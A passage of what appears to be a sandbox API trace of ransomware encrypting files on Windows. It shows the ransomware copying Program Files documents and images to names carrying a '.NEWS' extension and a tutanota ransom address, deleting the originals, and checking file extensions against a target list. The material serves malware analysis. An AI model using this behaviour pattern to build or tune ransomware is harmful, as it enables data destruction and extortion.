lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0225.530] SetEndOfFile (hFile=0x388) returned 1 [0225.665] CloseHandle (hObject=0x388) returned 1 [0225.666] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0225.666] SetEndOfFile (hFile=0x324) returned 1 [0225.675] CloseHandle (hObject=0x324) returned 1 [0225.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0225.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 1 [0225.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0225.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0225.764] lstrlenW (lpString=".doc") returned 4 [0225.764] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0225.764] lstrlenW (lpString=".docx") returned 5 [0225.764] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0225.764] lstrlenW (lpString=".pdf") returned 4 [0225.764] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0225.764] lstrlenW (lpString=".xls") returned 4 [0225.764] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0225.764] lstrlenW (lpString=".xlsx") returned 5 [0225.764] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0225.764] lstrlenW (lpString=".ppt") returned 4 [0225.764] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0225.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0225.765] lstrlenW (lpString=".zip") returned 4 [0225.765] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0225.765] lstrlenW (lpString=".rar") returned 4 [0225.765] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0225.765] lstrlenW (lpString=".bz2") returned 4 [0225.765] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0225.765] lstrlenW (lpString=".7z") returned 3 [0225.765] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0225.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0225.765] lstrlenW (lpString=".dbf") returned 4 [0225.765] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0225.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0225.765] lstrlenW (lpString=".1cd") returned 4 [0225.766] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0225.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0225.766] lstrlenW (lpString=".jpg") returned 4 [0225.766] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0225.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0225.766] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0225.766] lstrlenW (lpString=".doc") returned 4 [0225.766] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0225.766] lstrlenW (lpString=".docx") returned 5 [0225.766] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0225.766] lstrlenW (lpString=".pdf") returned 4 [0225.766] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0225.767] lstrlenW (lpString=".xls") returned 4 [0225.767] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0225.767] lstrlenW (lpString=".xlsx") returned 5 [0225.767] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0225.767] lstrlenW (lpString=".ppt") returned 4 [0225.767] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0225.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0225.767] lstrlenW (lpString=".zip") returned 4 [0225.767] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0225.767] lstrlenW (lpString=".rar") returned 4 [0225.767] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0225.768] lstrlenW (lpString=".bz2") returned 4 [0225.768] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0225.768] lstrlenW (lpString=".7z") returned 3 [0225.768] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0225.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0225.768] lstrlenW (lpString=".dbf") returned 4 [0225.768] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0225.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0225.768] lstrlenW (lpString=".1cd") returned 4 [0225.768] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0225.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0225.768] lstrlenW (lpString=".jpg") returned 4 [0225.768] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0225.769] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0225.769] lstrlenW (lpString="AG00011_.GIF") returned 12 [0225.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0225.793] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=7216) returned 1 [0225.793] CloseHandle (hObject=0x324) returned 1 [0225.806] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0225.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0225.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0225.835] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0225.835] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0225.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0227.278] GetLastError () returned 0x0 [0227.278] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x1c30, lpOverlapped=0x0) returned 1 [0227.288] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x1c40, lpOverlapped=0x0) returned 1 [0227.291] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0227.292] WriteFile (in: hFile=0x35c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0227.292] SetEndOfFile (hFile=0x35c) returned 1 [0228.120] CloseHandle (hObject=0x35c) returned 1 [0228.484] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0228.484] SetEndOfFile (hFile=0x324) returned 1 [0228.629] CloseHandle (hObject=0x324) returned 1 [0228.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0228.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0228.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0228.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0228.674] lstrlenW (lpString=".doc") returned 4 [0228.674] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0228.674] lstrlenW (lpString=".docx") returned 5 [0228.674] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0228.674] lstrlenW (lpString=".pdf") returned 4 [0228.674] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0228.674] lstrlenW (lpString=".xls") returned 4 [0228.674] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0228.674] lstrlenW (lpString=".xlsx") returned 5 [0228.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0228.674] lstrlenW (lpString=".ppt") returned 4 [0228.674] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0228.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0228.675] lstrlenW (lpString=".zip") returned 4 [0228.675] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0228.675] lstrlenW (lpString=".rar") returned 4 [0228.675] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0228.675] lstrlenW (lpString=".bz2") returned 4 [0228.675] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0228.675] lstrlenW (lpString=".7z") returned 3 [0228.675] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0228.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0228.675] lstrlenW (lpString=".dbf") returned 4 [0228.675] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0228.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0228.676] lstrlenW (lpString=".1cd") returned 4 [0228.676] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0228.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0228.676] lstrlenW (lpString=".jpg") returned 4 [0228.676] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0228.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0228.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0228.676] lstrlenW (lpString=".doc") returned 4 [0228.676] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0228.676] lstrlenW (lpString=".docx") returned 5 [0228.676] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0228.677] lstrlenW (lpString=".pdf") returned 4 [0228.677] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0228.677] lstrlenW (lpString=".xls") returned 4 [0228.677] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0228.677] lstrlenW (lpString=".xlsx") returned 5 [0228.677] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0228.677] lstrlenW (lpString=".ppt") returned 4 [0228.677] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0228.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0228.677] lstrlenW (lpString=".zip") returned 4 [0228.677] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0228.677] lstrlenW (lpString=".rar") returned 4 [0228.677] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0228.678] lstrlenW (lpString=".bz2") returned 4 [0228.678] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0228.678] lstrlenW (lpString=".7z") returned 3 [0228.678] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0228.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0228.678] lstrlenW (lpString=".dbf") returned 4 [0228.678] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0228.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0228.678] lstrlenW (lpString=".1cd") returned 4 [0228.678] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0228.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0228.678] lstrlenW (lpString=".jpg") returned 4 [0228.679] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0228.679] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0228.679] lstrlenW (lpString="AG00057_.GIF") returned 12 [0228.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0228.680] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=11891) returned 1 [0228.680] CloseHandle (hObject=0x3a8) returned 1 [0228.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0228.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0228.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0228.681] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0228.681] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0228.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0228.682] GetLastError () returned 0x0 [0228.682] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x2e73, lpOverlapped=0x0) returned 1 [0228.690] WriteFile (in: hFile=0x324, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x2e80, lpOverlapped=0x0) returned 1 [0228.694] ReadFile (in: hFile=0x3a8, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0228.694] WriteFile (in: hFile=0x324, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0228.694] SetEndOfFile (hFile=0x324) returned 1 [0228.694] CloseHandle (hObject=0x324) returned 1 [0228.695] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0228.695] SetEndOfFile (hFile=0x3a8) returned 1 [0229.047] CloseHandle (hObject=0x3a8) returned 1 [0229.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0229.260] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 1 [0229.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0229.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0229.301] lstrlenW (lpString=".doc") returned 4 [0229.301] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.301] lstrlenW (lpString=".docx") returned 5 [0229.301] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0229.301] lstrlenW (lpString=".pdf") returned 4 [0229.301] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.302] lstrlenW (lpString=".xls") returned 4 [0229.302] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.302] lstrlenW (lpString=".xlsx") returned 5 [0229.302] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0229.302] lstrlenW (lpString=".ppt") returned 4 [0229.302] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0229.302] lstrlenW (lpString=".zip") returned 4 [0229.302] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.302] lstrlenW (lpString=".rar") returned 4 [0229.302] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.302] lstrlenW (lpString=".bz2") returned 4 [0229.303] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.303] lstrlenW (lpString=".7z") returned 3 [0229.303] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0229.303] lstrlenW (lpString=".dbf") returned 4 [0229.303] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0229.303] lstrlenW (lpString=".1cd") returned 4 [0229.303] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0229.303] lstrlenW (lpString=".jpg") returned 4 [0229.303] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0229.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0229.304] lstrlenW (lpString=".doc") returned 4 [0229.304] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0229.304] lstrlenW (lpString=".docx") returned 5 [0229.304] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0229.304] lstrlenW (lpString=".pdf") returned 4 [0229.304] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0229.304] lstrlenW (lpString=".xls") returned 4 [0229.304] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0229.304] lstrlenW (lpString=".xlsx") returned 5 [0229.304] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0229.305] lstrlenW (lpString=".ppt") returned 4 [0229.305] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0229.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0229.305] lstrlenW (lpString=".zip") returned 4 [0229.305] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0229.305] lstrlenW (lpString=".rar") returned 4 [0229.305] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0229.305] lstrlenW (lpString=".bz2") returned 4 [0229.305] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0229.305] lstrlenW (lpString=".7z") returned 3 [0229.305] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0229.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0229.305] lstrlenW (lpString=".dbf") returned 4 [0229.305] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0229.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0229.306] lstrlenW (lpString=".1cd") returned 4 [0229.306] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0229.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF") returned 63 [0229.306] lstrlenW (lpString=".jpg") returned 4 [0229.306] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0229.543] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0229.543] lstrlenW (lpString="AG00092_.GIF") returned 12 [0229.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0229.564] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=502) returned 1 [0229.564] CloseHandle (hObject=0x3b0) returned 1 [0229.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0229.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0229.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0229.566] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0229.566] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0229.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0229.684] GetLastError () returned 0x0 [0229.684] ReadFile (in: hFile=0x3b0, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x1f6, lpOverlapped=0x0) returned 1 [0229.690] WriteFile (in: hFile=0x30c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x200, lpOverlapped=0x0) returned 1 [0229.695] ReadFile (in: hFile=0x3b0, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0229.695] WriteFile (in: hFile=0x30c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xec, lpOverlapped=0x0) returned 1 [0229.695] SetEndOfFile (hFile=0x30c) returned 1 [0229.696] CloseHandle (hObject=0x30c) returned 1 [0229.696] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0229.696] SetEndOfFile (hFile=0x3b0) returned 1 [0230.469] CloseHandle (hObject=0x3b0) returned 1 [0230.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 